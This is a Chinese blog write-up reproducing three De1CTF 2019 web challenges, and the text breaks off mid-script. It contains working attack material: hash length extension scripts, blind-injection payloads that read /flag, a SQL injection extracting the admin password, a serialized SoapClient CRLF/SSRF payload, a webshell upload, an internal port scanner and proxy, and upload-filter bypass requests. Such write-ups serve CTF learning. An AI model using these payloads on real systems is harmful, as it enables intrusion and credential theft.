De1CTF2019 web 复现

之前各种比赛还有开发拖了一堆时间,鸽到了现在才写完Orz
Xman期间的一场国际赛,有自己学校大佬出的题于是去做了一波,感觉好多原题。但我还是要说一句BUUCTF牛逼!

SSRF Me

先读读源码

1
2
3
@app.route('/')
def index():
return f.open("code.txt",'r').read()

/读取直接给源码

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

/geneSign提供key+param+”sacn”的md5值

1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) readscan
param = urllib.unquote(request.args.get("param", "")) flag.txt
sign = urllib.unquote(request.cookies.get("sign")) md5(key+flag.txtread+scan)
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return task.Exec()
1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

/De1ta是这题的关键,获得param,sign,action后,waf检测是否有gopher和file,这里就不能用这两个协议读了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
return resp
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(url).read()[:50]
except:
return "Connection Timeout"

然后是这个Task类,可以看到根据ip生成了沙盒防止互相读取。然后exec()中会检查key+param+action的md5值是否与sign值相等,相等若action为scan则读取param对应的文件并写入result.txt。为read时则将result.txt读出

那思路就很清晰了,用scan读取flag,然后哈希拓展绕过检查再read读出flag

但是做题时一直在想gopher和file这些协议被过滤了,有什么其他协议能用。做到后面发现urlopen其实可以用flag.txt打开当前目录下的文件,测试了几下,好像没用上任何协议时,会默认用file协议读

接下来就好搞了,用/geneSign?param=flag.txt获取哈希值然后访问/De1ta?param=flag.txtcookie:action=scan读取flag。然后再用/geneSign一波获取哈希值,接着哈希长度扩列获得scan%80%00.....%a0%00...read的哈希值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import my_md5

samplehash="e0875c4e6149bc7fd90b7ed1548b04df"

s = []
s.append(samplehash[0:8])
s.append(samplehash[8:16])
s.append(samplehash[16:24])
s.append(samplehash[24:32])

p = []
for i in s:
p.append(i[6:8]+i[4:6]+i[2:4]+i[0:2])
s1 = int(p[0],16)
s2 = int(p[1],16)
s3 = int(p[2],16)
s4 = int(p[3],16)

num = 16
secret = "a"*num
secret_str = secret+'scan'+'\x80'
value = 'read'
padding = 64-len(secret_str)-8
secret_str = secret_str+'\x00'*padding+"\xa0"+"\x00"*7+value
print len(secret_str)

r = my_md5.deal_rawInputMsg(secret_str)
inp = r[len(r)/2:]
print inp
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)

但是发现param传%7f以上会导致服务器问题(应该是get请求的问题),懵逼了好久发现action只是检测存在并不是相等,于是cookie一波拿flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*- 
from Crypto.Util.strxor import strxor
from base64 import *
import requests

num = 16
secret = "a"*num
secret_str = secret+'scan'+'\x80'
value = 'read'
padding = 64-len(secret_str)-8
secret_str = '%80'+'%00'*padding+"%a0"+"%00"*7+value

url = r'http://139.180.128.86/De1ta?param=scan'
cookie = {'action': secret_str,'sign': '4e5e3cd2e040a695869c672ada5af0dd'}
http = requests.get(url,cookies=cookie)

print http.content

然后看到有其他大佬用了load_file:xxx这样去读
还有最牛逼的操作就是/geneSign?param=flag.txtread拿一波哈希值,然后/De1ta?param=flag.txtcookie:action=readscan,这样就能不用哈希长度扩列。然后可以看到scan和read的if并不是连在一起的,是分开判断的,也就是说能同时触发这两个。然后一波就那道flag了【跪

不过这题本意是要用CVE-2019-9948这个漏洞来解的,有时间再看看吧

9calc

这题是RCTF的calcalcalc的修补版,估计也是zsx师傅一开始的预期解吧。这次对ts部分是怎么运作更加了解了,补一下RCTF那留下的坑

首先是main.ts

1
2
3
app.useGlobalPipes(new ValidationPipe({
disableErrorMessages: true,
}));

主要关注这部分代码,设置了全局验证功能

然后就是最重要的app.controller.ts的calculate部分

1
2
@Post('/calculate')
calculate(@Body() calculateModel: CalculateModel, @Res() res: Response)

这里将@Body,也就是req.body给传入了calculateModel中

1
2
3
4
5
6
7
8
9
10
11
export default class CalculateModel {

@IsNotEmpty()
@ExpressionValidator(15, {
message: 'Invalid input',
})
public readonly expression: string;

@IsBoolean()
public readonly isVip: boolean = false;
}

然后calculateModel中的expression就被赋予了post过来的expression的值,然后就是验证器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
return (object: Object, propertyName: string) => {
registerDecorator({
name: 'ExpressionValidator',
target: object.constructor,
propertyName,
constraints: [property],
options: validationOptions,
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
},
},
});
};
}

这个验证器的目标只是用来验证一个数据的,因此value:any得到的值便是expression的值。然后可以看到相较calcalcalc,这里的正则少了(),这也就防止了之前的非预期解

回到app.controller.ts上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const serializedBson = bson.serialize(calculateModel);
const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
bluebird.map(urls, async (url) => {
return Axios.post(`http://${url}/`, serializedBson, {
headers: {
'Content-Type': 'text/plain',
},
responseType: 'arraybuffer',
timeout: 50
}).catch(e => {
return { data: e.message, headers: [] };
});
}).all().then((responses) => {
const jsonResponses = responses.map(p => {
try {
return bson.deserialize(p.data);
} catch (e) {
return p.data.toString('utf-8');
}
});
const set = new Set(jsonResponses.map(p => JSON.stringify(p)));
this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);
this.logger.log('Ret = ' + JSON.stringify(jsonResponses));
if (set.size === 1) {
const rand = Math.floor(Math.random() * responses.length);
Object.keys(responses[rand].headers).forEach((key) => {
if (!blackList.includes(key.toLowerCase())) {
res.setHeader(key, responses[rand].headers[key]);
}
});
res.json(jsonResponses[rand]);
res.end();
} else {
res.end('That\'s classified information. - Asahina Mikuru');
}
}).catch((e) => {
res.status(500).json({ ret: 'Internal error' }).end();
this.logger.error(e.message, e.trace);
});

接下部分的代码,将calculateModel进行bson序列化,然后分别发向三个部署在内网的程序,继而获得响应再将其反序列化赋给p
接着再将p进行json序列化后并去重(这里其实不太懂到底是所有结果都在p中然后被序列化,还是三个结果各自被序列化后放在一个数组。不过去重是对数组感觉像是后者,但代码上看起来又不是,一个p被赋三个值感觉不太对。先留个坑日后用nestjs试试看Orz)。去重结果也就是set.size为1时返回数据,否则报错

之前在calcalcalc用isVips绕长度限制时没说清楚,能够用json传值然后赋给isVip是因为express的默认解析是支持json的,这点去查看文档就能看到

2.x版本的

4.x版本的

读源码可看出

因此接收到的json格式的数据能够传入calculateModel,把isVip的值给覆盖成功绕过长度限制

长度绕过后就是这个令人头大的正则,由于少了()不能通过双eval去盲注,只能想办法绕过这个正则
这里要利用js将json类型处理为字符串时,会处理为[Object Object]

只要我们传入的expression为json类型,toString()后就会变为[Object Object],从而绕过正则检验。当然这里对原数据是没影响的,本来就没有在原数据上进行操作

但有个问题在于,在nodejs端

1
2
3
4
5
6
7
app.post('/', (req, res) => {
const body = req.body
const data = bson.deserialize(Buffer.from(body))
const ret = eval(data.expression.toString())
res.write(bson.serialize({ ret: ret.toString() }))
res.end()
})

可以看到对传入的数据进行了toString(),导致数据不能使用。而这题将flag放在的三处,无法忽略掉这个问题

绕过这里需要利用mongoDB对bson反序列化时的一个特性
js-bson/lib/parser/serializer.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
index = serializeDBRef(buffer, key, value, index, depth, serializeFunctions, true);
} else if (value['_bsontype'] === 'BSONRegExp') {
index = serializeBSONRegExp(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Int32') {
index = serializeInt32(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'MinKey' || value['_bsontype'] === 'MaxKey') {
index = serializeMinMax(buffer, key, value, index, true);
} else if (typeof value['_bsontype'] !== 'undefined') {
throw new TypeError('Unrecognized or invalid _bsontype: ' + value['_bsontype']);
}

读源码可以看出在bson数据在进行反序列化时,会根据对象中_bsontype的值,将对象的value转化为对应的类型

假如一个bson序列化字符串为
{'a':{'value':'xxx','_bsontype':'Binary'}}
那么在反序列化后,a就会被强制转为二进制类型,值依旧为xxx

利用这点进行测试,会发现当类型为Symbol时能够绕过,于是利用构造payload

payload很巧妙的利用了php,python和nodejs在单行和多行注释上的不同,大佬们实在tql

打python

1
1//1 and ord(open('/flag').read()[0]) > -1 and 1\n

php和nodejs由于注释恒为1,python由于//为除号继续运行,根据读出的值条件是否正确返回1或false。为1时显示正常,false则报错,以此盲注

打php

1
len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}?>*///'''

在python中,由于'''为多行注释,于是无视\n的分行,直接注释到结尾,只剩下len('1') + 0//5 or部分,结果恒为1(不知道为啥不跟后面的注释就会报错,但跟上的后面的注释就能成功的输出1,这也在大佬们的计算中吗!

在nodejs中,//为单行注释,于是\n后的部分便不再注释范围内。而/**/为多行注释于是执行的代码就只剩下

1
2
len('1') + 0
1;function len(){return 1}

执行结果恒为1

在php中,同样//为单行注释,这里还利用了<?php?>直接将外部的代码无视掉,于是执行的代码就是

1
2
3
return len('1') + 0?>
<?php
function len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}}?>

由于是结尾,于是可以不使用;。然后定义了len函数读取比较,当值相等时返回1,否则返回2,于是与python盲注同理
这里其实觉得不用bson序列化也行,毕竟后面还有一个序列化再输出的

打nodejs

1
1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;//'''

这条不是官方的payload,不过我觉得没必要再给php专门写个open(),有点多余
在python下1 + 0//5 or直接输出1,在php下1 + 0也是输出1

在nodejs下,这剩下的代码为

1
2
1 + 0
require('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;

总觉得这个会返回前面的恒为1,而不是后面那个,感觉不太靠谱的亚子

然后把payload放入传输的数据中,写脚本盲注即可
{'expression':{'value':'payload','_bsontype':'Symbol'},'isVip':true}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: UTF-8 -*-、
import requests

url = "http://33b3ae01-10a6-419c-a822-956b08f91f04.node3.buuoj.cn/calculate"
ua_header = {"Content-Type": "application/json",}
sign = "'0123456789abcdefghijklmnopqrstuvwxyz{}_"

flag = ''

for i in range(48):
for j in sign:
# python
# data = "1//1 and ord(open('/flag').read()["+str(i)+"]) == "+str(ord(j))+" and 1\\n"
# php
# data = "len('1') + 0//5 or '''\\n//?>\\n1;function len(){return 1}/*<?php\\nfunction len($a){echo MongoDB\\\\BSON\\\\fromPHP(['ret' => file_get_contents('/flag')["+str(i)+"] == '"+j+"' ? \\\"1\\\" : \\\"2\\\"]);exit;}?>*///'''"
# nodejs
# data = "1 + 0//5 or '''\\n//?>\\nrequire('fs').readFileSync('/flag','utf-8')["+str(i)+"] == '"+j+"' ? 1 : 2;//'''"

payload = "{\"expression\":{\"value\":\""+data+"\",\"_bsontype\":\"Symbol\"},\"isVip\":true}"
print payload
request = requests.post(url, headers = ua_header, data=payload)
content = request.content
if 'ret' in content:
flag += j
break
print flag

ShellShellShell

进入是个葛优瘫的登录界面,有个md5截断,用脚本跑一下就ok

登陆进去后能发送消息,不过好像只能自己看到不太像xss。然后尝试php://filter被过滤了,接着尝试各种源码泄露,发现了swp的泄露

于是拿下源码,恢复一下.index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
$action=$_GET['action'];
$allow=0;
$white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
$vpattern = explode("|",$white_action);
foreach($vpattern as $key=>$value)
{
if(preg_match("/$value/i", $action ) && (!preg_match("/\//i",$action)) )
{
$allow=1;
}
}
if($allow==1)
{require_once 'views/'.$_GET['action'];}
else {
die("Get out hacker!<br>jaivy's laji waf.");
}
}
else
header('Location: index.php?action=login');

可以看到实例化了一个Customer类,并且只允许几个白名单的字符串,同时引入了ues.php
于是拿一下user.php的源码

1
2
3
require_once 'config.php';

class Customer{

可以看到有一个Customer类,同时又引入了一个config.php,继续拿
再config.php中可以看到,用了全局过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();

这就有点不好搞了

拿到这几个源码后,再去试试看能不能取到发布消息和显示消息页面,网站的主要功能是这两个,漏洞可能也在这里
尝试了几次后发现/view/publish.swp/view/index.swp能够拿到源码

先看publish部分

1
2
3
4
5
6
7
8
9
10
11
if($C->is_admin==0) {
if (isset($_POST['signature']) && isset($_POST['mood'])) {
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=index'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
exit;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
if(isset($_FILES['pic'])){
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=publish'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
}
}

?>

当是非admin,差别是有否文件上传的功能,那应该就是要想办法去登录admin账号

先继续看publish()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success');</script>";
return true;
}
else
return false;


}

}

调用了insert(),继续读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private function get_column($columns){

if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';

return $column;
}

public function insert($columns,$table,$values){

$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);

return $result;
}

可以看到用了get_column()对值进行了处理,在各值两侧加上反引号。然后由于是用来处理列的,于是处理值是要对值将`转为’。
/`([^`,]+)`/这个表达式匹配的是,两个反引号间不存在`和,的字符串。\'${1}\'则是将两端的`替换为’

这顿操作就提供了注入的可能,由于反引号是不会被addslashes()转义,就可以用thx经处理后转为’,然后注释掉后面的数据即可。比如像a`)#,经get_column后为`a`)#`,再进过正则就转为了'a')#`,成功逃逸出来。不过想想有了这个就算没看到前面那个全局过滤好像也没啥影响

看官方wp是用盲注注出来的,不过既然有回显就没必要盲注那么麻烦,而且连sql语句的结构都知道了,可以构造一下直接回显注入出来

payload(两端要有空格):

1
2
3
`+(select conv(substr(hex((select password from ctf_users where username = `admin`)),1,10),16,10))+`  
c991707fdf339958eded91331fb11ba0
Jaivypassword

脚本手工都行,不过每段要分开十进制转16进制,然后再合并起来16进制转字符串。md5解密一下即可
不过比赛时可能是出了bug,直接刷着刷着就刷出了密码

然后登录一下

提示需要常用的ip,八成是要本地地址才行,尝试改了一下X-Forward-For不行,那估计就是要soap类了

看源码index.php允许action中传入phpinfo,于是看一下phpinfo,发现确实有soap类可以使用

那接下来就是要找一个反序列化的点

在publish()中可以看到

1
2
3
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

mood类被序列化后存入了数据库,那在取出时应该需要进行反序列化。于是去index页面看看
$data = $C->showmess();
调用了showmess()
$mood = unserialize($row[2]);
在showmess()中也确实找到了将取出的数据进行了反序列化,那么要利用的点就在这里

看代码可以知道,无论怎么控制mood的值,都是无法产生soap类。那就只能继续利用signature,将后面的mood给覆盖掉
于是要构造一个soap对象,cookie中有PHPSESSID,数据包含用户名、密码和验证码。通过一个用户发送读取消息,让另一个PHPSESSID的用户登录admin账户

之前比赛的时候只是用了下,没用认真研究soap类的请求是什么样的,这里就分析一下

查php手册可以看到,构造函数中有两个参数

第一个参数用来控制是否为wsdl模式,传入url为wsdl,传入null则不为wsdl模式

当不为wsdl模式时,必须在option数组中设置location和uri。而且当为wsdl模式时会受到wsdl文件的限制(这是啥???),那自然要选择非wsdl模式

在选择非wsdl模式后,有以上这几个参数可以放入option

接下来尝试一下发个soap请求,看看具体的报文内容是什么样的

1
2
3
4
$a = new SoapClient(null,array('location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();

这里要反序列化后调用个方法,不然发不出报文(不太懂为啥
然后监听一下端口

可以看到soap发出的数据是以xml的方式发送的,但要post数据的话,需要将Content-Type设成application/x-www-form-urlencoded
这里就要利用option中的user_agent参数,可以看到User-Agent是在Content-Type之上的,可以通过设置User-Agent往头部注入各种想要构造的信息

1
2
3
4
$a = new SoapClient(null,array('user_agent' => "test\r\nCookie:PHPSESSID=123456\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\rxxx=xxx"'location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();

这里往user_agent中放入了Cookie,Content-Type,Content-Length以及post的数据,由于User-Agent在上方,直接将下面的数据给覆盖掉

再监听一次端口,可以看到对报文的注入成功了

于是针对这题修改一下

1
2
3
4
5
6
<?php
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$soap = new SoapClient(null, array('user_agent' => "test\r\nCookie:PHPSESSID=tt98rf3ebp2tuivl0m973gjdr3\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\r\nusername=admin&password=jaivypassword&code=RTwZnHELJjCivxEsApoc&xxx=",'location' => $location,'uri' => $uri));
$s = serialize($soap);
echo urlencode($s);

用xxx=将报文剩余部分作为xxx的值,以防万一
payload:

1
signature=1`,`O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A39%3A%22http%3A%2F%2F127.0.0.1%2Findex.php%3Faction%3Dlogin%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A189%3A%22test%0D%0ACookie%3APHPSESSID%3Djtgn11ggnfgr2g7rcfbhk2c894%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A100%0D%0A%0D%0Ausername%3Dadmin%26password%3Djaivypassword%26code%3DomYcKyq1Vplp4vmwBtiw%26xxx%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D`)#&mood=0

\n和\r不能少,不然会导致报文构造失败识别不到对应的数据,比赛时没注意到这么多导致有时能登录有时不能

登录成功后进入publish

传一句话木马扫了一下目录并没有找到flag,那应该是在内网的另一台主机上

于是先执行ifconfig查一下ip段

可以看到,这个站在内网的网段是172.64.164.0,于是传一个扫描脚本上去扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1){
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if($conn){
fclose($conn);
return true;
}
}

function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
}
}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE);//表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200'){
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}

function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}

if($url != null){
$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>

这个脚本是在网上随便找的,凑合着用= =

扫到了好几个地址80端口开启,可能是BUU上其它题的端口?访问下.7附近的试试看先
在.8成功访问到,是个上传页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php'){
if(strpos($_,$new_name)===false) {
include($_);
} else {
echo "you can do it!";
}
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

要上传文件首先要先绕过这里。这里当filename非数组时,以.将filename分割,然后取数组最后一个与下标为长度减一的值比较,相等直接die
我们知道,当一个数组为关联数组时,count(array)-1获得的下标是无法得到有效的值的。这里也是利用这点,我们处理一下报文,让文件名为一个关联数组,就能让$filename[count($filename) - 1]的值无效,而end($filename)依旧会取到最后一个数据,从而绕过这里

1
2
3
4
5
6
7
8
9
-----------------------------1290214079214
Content-Disposition: form-data; name="file[b]"

xx
-----------------------------1290214079214
Content-Disposition: form-data; name="file[a]"

xxxx
-----------------------------1290214079214--

大概像这样
还有一种解法是php并不是按数字排序的,所以也可以传一个['1'=>'xxx','0'=>'xx']进行绕过

然后是下半部分,要想办法阻止unlink
这里有几种解法

利用php7的文件包含漏洞,当include('php://filter/string.strip_tags/resource=/etc/passwd')时,php就会崩溃,继而不执行unlink

利用include('index.php')包含自身,让php死循环崩溃。这样就能让文件保留在服务器上,然后再去跑new_name的值就行

还有一种方法是,既然ext的值是可以控制的,那我们可以构造一下,让ext为php/../xx.php,这样我们就能够控制文件名,不需去爆破,直接在unlink前include就能获得内容

这里用最后一种解法,报文大概像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="flag.php"
Content-Type: false

@<?php echo 1;
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello"

flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]"

222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]"

111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]"

/../flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--

然后借用一下大佬们的脚本改改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.64.72.8",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
